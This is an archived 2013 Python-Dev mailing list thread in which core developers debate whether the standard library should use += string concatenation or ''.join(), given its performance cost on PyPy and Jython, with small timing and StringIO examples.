Date: Tue, 12 Feb 2013 23:25:49 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
Message-ID: <CAK5idxRkBQ7GEOLQe-KiS+PvUtKhe7VJkucJ1vz_g7EVeAzd0A@mail.gmail.com>

On Tue, Feb 12, 2013 at 11:16 PM, Brett Cannon <brett at python.org> wrote:
>
>
>
> On Tue, Feb 12, 2013 at 4:06 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
>>
>>
>> Hi !
>>
>> On Tue, 12 Feb 2013 23:03:04 +0200
>> Maciej Fijalkowski <fijall at gmail.com> wrote:
>> >
>> > We recently encountered a performance issue in stdlib for pypy. It
>> > turned out that someone commited a performance "fix" that uses += for
>> > strings instead of "".join() that was there before.
>> >
>> > Now this hurts pypy (we can mitigate it to some degree though) and
>> > possible Jython and IronPython too.
>> >
>> > How people feel about generally not having += on long strings in
>> > stdlib (since the refcount = 1 thing is a hack)?
>>
>> I agree that += should not be used as an optimization (on strings) in
>> the stdlib code. The optimization is there so that uncareful code does
>> not degenerate, but deliberately relying on it is a bit devilish.
>> (optimisare diabolicum :-))
>
>
> Ditto from me. If you're going so far as to want to optimize Python code
> then you probably are going to care enough to accelerate it in C, in which
> case you can leave the Python code idiomatic.
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/fijall%40gmail.com
>

I should actually reference the original CPython issue
http://bugs.python.org/issue1285086

From fwierzbicki at gmail.com  Tue Feb 12 22:32:50 2013
From: fwierzbicki at gmail.com (fwierzbicki at gmail.com)
Date: Tue, 12 Feb 2013 13:32:50 -0800
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
Message-ID: <CADrh4zJ3LdD_oE9EPOs7otKc3KCehuhEVxo3b0TSfwfNC0T=8Q@mail.gmail.com>

On Tue, Feb 12, 2013 at 1:03 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> Hi
>
> We recently encountered a performance issue in stdlib for pypy. It
> turned out that someone commited a performance "fix" that uses += for
> strings instead of "".join() that was there before.
>
> Now this hurts pypy (we can mitigate it to some degree though) and
> possible Jython and IronPython too.
Just to confirm Jython does not have optimizations for += String and
will do much better with the idiomatic "".join().

-Frank

From solipsis at pitrou.net  Tue Feb 12 22:32:49 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 12 Feb 2013 22:32:49 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CADrh4zJ3LdD_oE9EPOs7otKc3KCehuhEVxo3b0TSfwfNC0T=8Q@mail.gmail.com>
Message-ID: <20130212223249.1457ff6b@pitrou.net>

On Tue, 12 Feb 2013 13:32:50 -0800
"fwierzbicki at gmail.com" <fwierzbicki at gmail.com> wrote:
> On Tue, Feb 12, 2013 at 1:03 PM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> > Hi
> >
> > We recently encountered a performance issue in stdlib for pypy. It
> > turned out that someone commited a performance "fix" that uses += for
> > strings instead of "".join() that was there before.
> >
> > Now this hurts pypy (we can mitigate it to some degree though) and
> > possible Jython and IronPython too.
> Just to confirm Jython does not have optimizations for += String and
> will do much better with the idiomatic "".join().

For the record, io.StringIO should be quite fast in 3.3.
(except for the method call overhead that Guido is complaining
about :-))

Regards

Antoine.



From ned at nedbatchelder.com  Tue Feb 12 22:40:38 2013
From: ned at nedbatchelder.com (Ned Batchelder)
Date: Tue, 12 Feb 2013 16:40:38 -0500
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
Message-ID: <511AB6D6.60805@nedbatchelder.com>

On 2/12/2013 4:16 PM, Brett Cannon wrote:
>
>
>
> On Tue, Feb 12, 2013 at 4:06 PM, Antoine Pitrou <solipsis at pitrou.net 
> <mailto:solipsis at pitrou.net>> wrote:
>
>
>     Hi !
>
>     On Tue, 12 Feb 2013 23:03:04 +0200
>     Maciej Fijalkowski <fijall at gmail.com <mailto:fijall at gmail.com>> wrote:
>     >
>     > We recently encountered a performance issue in stdlib for pypy. It
>     > turned out that someone commited a performance "fix" that uses
>     += for
>     > strings instead of "".join() that was there before.
>     >
>     > Now this hurts pypy (we can mitigate it to some degree though) and
>     > possible Jython and IronPython too.
>     >
>     > How people feel about generally not having += on long strings in
>     > stdlib (since the refcount = 1 thing is a hack)?
>
>     I agree that += should not be used as an optimization (on strings) in
>     the stdlib code. The optimization is there so that uncareful code does
>     not degenerate, but deliberately relying on it is a bit devilish.
>     (optimisare diabolicum :-))
>
>
> Ditto from me. If you're going so far as to want to optimize Python 
> code then you probably are going to care enough to accelerate it in C, 
> in which case you can leave the Python code idiomatic.

But the only reason "".join() is a Python idiom in the first place is 
because it was "the fast way" to do what everyone initially coded as "s 
+= ...".   Just because we all learned a long time ago that joining was 
the fast way to build a string doesn't mean that "".join() is the clean 
idiomatic way to do it.

--Ned.

>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/ned%40nedbatchelder.com

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130212/128b69ff/attachment.html>

From rdmurray at bitdance.com  Tue Feb 12 22:46:34 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Tue, 12 Feb 2013 16:46:34 -0500
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511AB6D6.60805@nedbatchelder.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
Message-ID: <20130212214635.2CAA3250030@webabinitio.net>

On Tue, 12 Feb 2013 16:40:38 -0500, Ned Batchelder <ned at nedbatchelder.com> wrote:
> On 2/12/2013 4:16 PM, Brett Cannon wrote:
> > On Tue, Feb 12, 2013 at 4:06 PM, Antoine Pitrou <solipsis at pitrou.net 
> > <mailto:solipsis at pitrou.net>> wrote:
> >     On Tue, 12 Feb 2013 23:03:04 +0200
> >     Maciej Fijalkowski <fijall at gmail.com <mailto:fijall at gmail.com>> wrote:
> >     >
> >     > We recently encountered a performance issue in stdlib for pypy. It
> >     > turned out that someone commited a performance "fix" that uses
> >     += for
> >     > strings instead of "".join() that was there before.
> >     >
> >     > Now this hurts pypy (we can mitigate it to some degree though) and
> >     > possible Jython and IronPython too.
> >     >
> >     > How people feel about generally not having += on long strings in
> >     > stdlib (since the refcount = 1 thing is a hack)?
> >
> >     I agree that += should not be used as an optimization (on strings) in
> >     the stdlib code. The optimization is there so that uncareful code does
> >     not degenerate, but deliberately relying on it is a bit devilish.
> >     (optimisare diabolicum :-))
> >
> > Ditto from me. If you're going so far as to want to optimize Python 
> > code then you probably are going to care enough to accelerate it in C, 
> > in which case you can leave the Python code idiomatic.
> 
> But the only reason "".join() is a Python idiom in the first place is 
> because it was "the fast way" to do what everyone initially coded as "s 
> += ...".   Just because we all learned a long time ago that joining was 
> the fast way to build a string doesn't mean that "".join() is the clean 
> idiomatic way to do it.

If 'idiomatic' (a terrible term) means "the standard way in this
language", which is how it is employed in the programming community,
then yes, "".join() is the idiomatic way to write that *in Python*,
and thus is cleaner code *in Python*.

--David

From solipsis at pitrou.net  Tue Feb 12 22:44:04 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 12 Feb 2013 22:44:04 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
Message-ID: <20130212224404.4fa839fc@pitrou.net>

On Tue, 12 Feb 2013 16:40:38 -0500
Ned Batchelder <ned at nedbatchelder.com> wrote:
> 
> But the only reason "".join() is a Python idiom in the first place is 
> because it was "the fast way" to do what everyone initially coded as "s 
> += ...".   Just because we all learned a long time ago that joining was 
> the fast way to build a string doesn't mean that "".join() is the clean 
> idiomatic way to do it.

It's idiomatic because strings are immutable (by design, not because of
an optimization detail) and therefore concatenation *has* to imply
building a new string from scratch.

Regards

Antoine.



From python-dev at masklinn.net  Tue Feb 12 23:33:56 2013
From: python-dev at masklinn.net (Xavier Morel)
Date: Tue, 12 Feb 2013 23:33:56 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511AB6D6.60805@nedbatchelder.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
Message-ID: <0803CA4F-4ADB-4C59-8A61-8FFD0CAF0CF2@masklinn.net>

On 2013-02-12, at 22:40 , Ned Batchelder wrote:
> But the only reason "".join() is a Python idiom in the first place is because it was "the fast way" to do what everyone initially coded as "s += ...".   Just because we all learned a long time ago that joining was the fast way to build a string doesn't mean that "".join() is the clean idiomatic way to do it.

Well no, str.join is the idiomatic way to do it because it is:

> idiomatic |?id???matik|
> adjective
> 1 using, containing, or denoting expressions that are natural to a native speaker 

or would you argue that the natural way for weathered python developers
to concatenate string is to *not* use str.join?

Of course usually idioms have original reasons for being, reasons which
are sometimes long gone (not unlike religious mandates or prohibitions).

For Python, ignoring the refcounting hack (which is not only cpython
specific but *current* cpython specific *and* doesn't apply to all
cases) that reason still exist: python's strings are formally immutable
bytestrings, and repeated concatenation of immutable bytestrings is
quadratic.

Thus str.join is idiomatic, and although it's possible (if difficult) to
change the idiom straight string concatenation would make a terrible new
idiom as it will behave either unreliably (current CPython) or simply
terribly (every other Python implementation).

No?

From python at mrabarnett.plus.com  Wed Feb 13 00:20:01 2013
From: python at mrabarnett.plus.com (MRAB)
Date: Tue, 12 Feb 2013 23:20:01 +0000
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <20130212224404.4fa839fc@pitrou.net>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
Message-ID: <511ACE21.2050900@mrabarnett.plus.com>

On 2013-02-12 21:44, Antoine Pitrou wrote:
> On Tue, 12 Feb 2013 16:40:38 -0500
> Ned Batchelder <ned at nedbatchelder.com> wrote:
>>
>> But the only reason "".join() is a Python idiom in the first place is
>> because it was "the fast way" to do what everyone initially coded as "s
>> += ...".   Just because we all learned a long time ago that joining was
>> the fast way to build a string doesn't mean that "".join() is the clean
>> idiomatic way to do it.
>
> It's idiomatic because strings are immutable (by design, not because of
> an optimization detail) and therefore concatenation *has* to imply
> building a new string from scratch.
>
Tuples are much like immutable lists; sets were added, and then frozensets;
should we be adding mutable strings too (a bit like C#'s StringBuilder)?
(Just wondering...)


From christian at python.org  Wed Feb 13 00:28:15 2013
From: christian at python.org (Christian Heimes)
Date: Wed, 13 Feb 2013 00:28:15 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <20130212223249.1457ff6b@pitrou.net>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CADrh4zJ3LdD_oE9EPOs7otKc3KCehuhEVxo3b0TSfwfNC0T=8Q@mail.gmail.com>
	<20130212223249.1457ff6b@pitrou.net>
Message-ID: <511AD00F.8060103@python.org>

Am 12.02.2013 22:32, schrieb Antoine Pitrou:
> For the record, io.StringIO should be quite fast in 3.3.
> (except for the method call overhead that Guido is complaining
> about :-))

AFAIK it's not the actual *call* of the method that is slow, but rather
attribute lookup and creation of bound method objects. If speed is of
the essence, code can cache the method object locally:

strio = io.StringIO()
write = strio.write
for element in elements:
    write(element)
result = strio.getvalue()


Christian

From fijall at gmail.com  Wed Feb 13 00:30:10 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 01:30:10 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511AD00F.8060103@python.org>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<CADrh4zJ3LdD_oE9EPOs7otKc3KCehuhEVxo3b0TSfwfNC0T=8Q@mail.gmail.com>
	<20130212223249.1457ff6b@pitrou.net> <511AD00F.8060103@python.org>
Message-ID: <CAK5idxT64nxViRawbPssJc=YvX07KEPE8-2qZGQ4rCsL5nEdQw@mail.gmail.com>

On Wed, Feb 13, 2013 at 1:28 AM, Christian Heimes <christian at python.org> wrote:
> Am 12.02.2013 22:32, schrieb Antoine Pitrou:
>> For the record, io.StringIO should be quite fast in 3.3.
>> (except for the method call overhead that Guido is complaining
>> about :-))
>
> AFAIK it's not the actual *call* of the method that is slow, but rather
> attribute lookup and creation of bound method objects. If speed is of
> the essence, code can cache the method object locally:
>
> strio = io.StringIO()
> write = strio.write
> for element in elements:
>     write(element)
> result = strio.getvalue()

And this is a great example of muddying code in stdlib for the sake of
speeding up CPython.

Cheers,
fijal

From fijall at gmail.com  Wed Feb 13 00:30:28 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 13 Feb 2013 01:30:28 +0200
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511ACE21.2050900@mrabarnett.plus.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
	<511ACE21.2050900@mrabarnett.plus.com>
Message-ID: <CAK5idxR_MRMT3kFeqZ2appZ5WBzhq_Y_GHZQQa-0iU-htsSQ0Q@mail.gmail.com>

On Wed, Feb 13, 2013 at 1:20 AM, MRAB <python at mrabarnett.plus.com> wrote:
> On 2013-02-12 21:44, Antoine Pitrou wrote:
>>
>> On Tue, 12 Feb 2013 16:40:38 -0500
>> Ned Batchelder <ned at nedbatchelder.com> wrote:
>>>
>>>
>>> But the only reason "".join() is a Python idiom in the first place is
>>> because it was "the fast way" to do what everyone initially coded as "s
>>> += ...".   Just because we all learned a long time ago that joining was
>>> the fast way to build a string doesn't mean that "".join() is the clean
>>> idiomatic way to do it.
>>
>>
>> It's idiomatic because strings are immutable (by design, not because of
>> an optimization detail) and therefore concatenation *has* to imply
>> building a new string from scratch.
>>
> Tuples are much like immutable lists; sets were added, and then frozensets;
> should we be adding mutable strings too (a bit like C#'s StringBuilder)?
> (Just wondering...)

Isn't bytearray what you're looking for?

From ncoghlan at gmail.com  Wed Feb 13 00:39:23 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 13 Feb 2013 09:39:23 +1000
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
Message-ID: <CADiSq7ev6X=AeEYXDUWSCvPvT2m6gYd9GTZAXOhGNd+7s+bU3Q@mail.gmail.com>

On 13 Feb 2013 07:08, "Maciej Fijalkowski" <fijall at gmail.com> wrote:
>
> Hi
>
> We recently encountered a performance issue in stdlib for pypy. It
> turned out that someone commited a performance "fix" that uses += for
> strings instead of "".join() that was there before.
>
> Now this hurts pypy (we can mitigate it to some degree though) and
> possible Jython and IronPython too.
>
> How people feel about generally not having += on long strings in
> stdlib (since the refcount = 1 thing is a hack)?
>
> What about other performance improvements in stdlib that are
> problematic for pypy or others?
>
> Personally I would like cleaner code in stdlib vs speeding up CPython.

For the specific case of "Don't rely on the fragile refcounting hack in
CPython's string concatenation" I strongly agree. However, as a general
principle, I can't agree until speed.python.org is a going concern and we
can get a reasonable overview of any resulting performance implications.

Regards,
Nick.

> Typically that also helps pypy so I'm not unbiased.
>
> Cheers,
> fijal
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
http://mail.python.org/mailman/options/python-dev/ncoghlan%40gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/c6dcf198/attachment.html>

From tismer at stackless.com  Wed Feb 13 00:53:05 2013
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 13 Feb 2013 00:53:05 +0100
Subject: [Python-Dev] efficient string concatenation   (yep, from 2004)
Message-ID: <511AD5E1.1060209@stackless.com>

Hi friends,

_efficient string concatenation_ has been a topic in 2004.
Armin Rigo proposed a patch with the name of the subject,
more precisely:

/[Patches] [ python-Patches-980695 ] efficient string concatenation//
//on sourceforge.net, on 2004-06-28.//
/
This patch was finally added to Python 2.4 on 2004-11-30.

Some people might remember the larger discussion if such a patch should be
accepted at all, because it changes the programming style for many of us
from "don't do that, stupid" to "well, you may do it in CPython", which 
has quite
some impact on other implementations (is it fast on Jython, now?).

It changed for instance my programming and teaching style a lot, of course!

But I think nobody but people heavily involved in PyPy expected this:

Now, more than eight years after that patch appeared and made it into 2.4,
PyPy (!) still does _not_ have it!

Obviously I was mislead by other optimizations, and the fact that
this patch was from a/the major author of PyPy who invented the initial
patch for CPython. That this would be in PyPy as well sooner or later was
without question for me. Wrong... ;-)

Yes, I agree that for PyPy it is much harder to implement without the
refcounting trick, and probably even more difficult in case of the JIT.

But nevertheless, I tried to find any reference to this missing crucial 
optimization,
with no success after an hour (*).

And I guess many other people are stepping in the same trap.

So I can imagine that PyPy looses some of its speed in many programs, 
because
Armin's great hack did not make it into PyPy, and this is not loudly 
declared
somewhere. I believe the efficiency of string concatenation is something
that people assume by default and add it to the vague CPython compatibility
claim, if not explicitly told otherwise.

----

Some silly proof, using python 2.7.3 vs PyPy 1.9:

> $ cat strconc.py
> #!env python
>
> from timeit import default_timer as timer
>
> tim = timer()
>
> s = ''
> for i in xrange(100000):
>      s += 'X'
>
> tim = timer() - tim
>
> print 'time for {} concats = {:0.3f}'.format(len(s), tim)

> $ python strconc.py
> time for 100000 concats = 0.028
> $ pypy strconc.py
> time for 100000 concats = 0.804

Something is needed - a patch for PyPy or for the documentation I guess.

This is not just some unoptimized function in some module, but it is used
all over the place and became a very common pattern since introduced.

/How ironic that a foreseen problem occurs _now_, and _there_ :-)//
/
cheers -- chris


(*)
http://pypy.readthedocs.org/en/latest/cpython_differences.html
http://pypy.org/compat.html
http://pypy.org/performance.html

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/38baca4d/attachment.html>

From alexandre at peadrop.com  Wed Feb 13 02:09:01 2013
From: alexandre at peadrop.com (Alexandre Vassalotti)
Date: Tue, 12 Feb 2013 17:09:01 -0800
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <20130212224404.4fa839fc@pitrou.net>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com> <20130212224404.4fa839fc@pitrou.net>
Message-ID: <CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>

On Tue, Feb 12, 2013 at 1:44 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:

> It's idiomatic because strings are immutable (by design, not because of
> an optimization detail) and therefore concatenation *has* to imply
> building a new string from scratch.
>

Not necessarily. It is totally possible to implement strings such they are
immutable and  concatenation takes O(1): ropes are the canonical example of
this.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130212/3794821d/attachment.html>

From tismer at stackless.com  Wed Feb 13 02:16:22 2013
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 13 Feb 2013 02:16:22 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
Message-ID: <511AE966.4020101@stackless.com>

On 12.02.13 22:03, Maciej Fijalkowski wrote:
> Hi
>
> We recently encountered a performance issue in stdlib for pypy. It
> turned out that someone commited a performance "fix" that uses += for
> strings instead of "".join() that was there before.
>
> Now this hurts pypy (we can mitigate it to some degree though) and
> possible Jython and IronPython too.
>
> How people feel about generally not having += on long strings in
> stdlib (since the refcount = 1 thing is a hack)?
>
> What about other performance improvements in stdlib that are
> problematic for pypy or others?
>
> Personally I would like cleaner code in stdlib vs speeding up CPython.
> Typically that also helps pypy so I'm not unbiased.
>
> Cheers,
> fijal
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/tismer%40stackless.com

Howdy.

Funny coincidence that this issue came up an hour after I asked about
string_concat optimization absence on the pypy channel.

I did not read email while writing the "efficient string concatenation"
re-iteration._
_
Maybe we should use the time machine, go backwards and undo the
patch, although it still makes a lot of sense and is fastest, opcode-wise,
at least on CPython.

Which will not matter so much for PyPy of course because _that_ goes away.

Alas, the damage to the mindsets already has happened, and the cure
will probably be as hard as the eviction of the print statement, after all.

But since I'm a complete Python 3.3 convert (with consequent changes
to my projects which was not so trivial),
I think to also start publicly saying that "s += t" is a pattern that should
not be used in the Gigabyte domain, from 2013.

Actually a tad, because it contradicted normal programming patterns
in an appealing way. Way too sexy...

But let's toss it. Keep the past eight years in good memories as an 
exceptional
period of liberal abuse. Maybe we should add it as an addition to the
"Zen of Python":
There are obviously good things, but "obvious" is the finest liar.

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/8eb60b17/attachment.html>

From tismer at stackless.com  Wed Feb 13 02:25:09 2013
From: tismer at stackless.com (Christian Tismer)
Date: Wed, 13 Feb 2013 02:25:09 +0100
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<CANcUUefKXH1tgzqAZ9V9okd2GjCki8ZJDy06Tedm4gAJtL0OQw@mail.gmail.com>
Message-ID: <511AEB75.6090808@stackless.com>

On 13.02.13 02:09, Alexandre Vassalotti wrote:
> On Tue, Feb 12, 2013 at 1:44 PM, Antoine Pitrou <solipsis at pitrou.net 
> <mailto:solipsis at pitrou.net>> wrote:
>
>     It's idiomatic because strings are immutable (by design, not
>     because of
>     an optimization detail) and therefore concatenation *has* to imply
>     building a new string from scratch.
>
>
> Not necessarily. It is totally possible to implement strings such they 
> are immutable and  concatenation takes O(1): ropes are the canonical 
> example of this.

Ropes have been implemented by Carl-Friedrich Bolz in 2007 as I remember.
No idea what the impact was, if any at all.
Would ropes be an answer (and a simple way to cope with string mutation
patterns) as an alternative implementation, and therefore still justify
the usage of that pattern?

-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Software Consulting          :     Have a break! Take a ride on Python's
Karl-Liebknecht-Str. 121     :    *Starship* http://starship.python.net/
14482 Potsdam                :     PGP key -> http://pgp.uni-mainz.de
phone +49 173 24 18 776  fax +49 (30) 700143-0023
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
       whom do you want to sponsor today?   http://www.stackless.com/

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130213/cad9f55c/attachment-0001.html>

From tjreedy at udel.edu  Wed Feb 13 02:51:46 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 12 Feb 2013 20:51:46 -0500
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <511ACE21.2050900@mrabarnett.plus.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
	<20130212220642.71f03220@pitrou.net>
	<CAP1=2W6ZTAZy0ViP-Psq-iZ0-Smyd=sc8-QMC8Odc3JGEdW-1g@mail.gmail.com>
	<511AB6D6.60805@nedbatchelder.com>
	<20130212224404.4fa839fc@pitrou.net>
	<511ACE21.2050900@mrabarnett.plus.com>
Message-ID: <kferjo$h0s$1@ger.gmane.org>

On 2/12/2013 6:20 PM, MRAB wrote:

> Tuples are much like immutable lists; sets were added, and then frozensets;
> should we be adding mutable strings too (a bit like C#'s StringBuilder)?
> (Just wondering...)

StringIO is effectively a mutable string with a file interface.
sio.write('abc') is the equivalent of lis.extend(['a', 'b', 'c']).


-- 
Terry Jan Reedy


From tjreedy at udel.edu  Wed Feb 13 02:58:53 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 12 Feb 2013 20:58:53 -0500
Subject: [Python-Dev] Usage of += on strings in loops in stdlib
In-Reply-To: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
References: <CAK5idxSwiOj4vZ0dEwKiqMKxCc1Bw4it_7RrpgdDMw3fkQWYbw@mail.gmail.com>
Message-ID: <kfes13$kft$1@ger.gmane.org>

On 2/12/2013 4:03 PM, Maciej Fijalkowski wrote:
> Hi
>
> We recently encountered a performance issue in stdlib for pypy. It
> turned out that someone commited a performance "fix" that uses += for
> strings instead of "".join() that was there before.
>
> Now this hurts pypy (we can mitigate it to some degree though) and
> possible Jython and IronPython too.
>
> How people feel about generally not having += on long strings in
> stdlib (since the refcount = 1 thing is a hack)?
>
> What about other performance improvements in stdlib that are
> problematic for pypy or others?
>
> Personally I would like cleaner code in stdlib vs speeding up CPython.
> Typically that also helps pypy so I'm not unbiased.

I agree. sum() refuses to sum strings specifically to encourage .join().

 >>> sum(('x', 'b'), '')
Traceback (most recent call last):
   File "<pyshell#0>", line 1, in <module>
     sum(('x', 'b'), '')
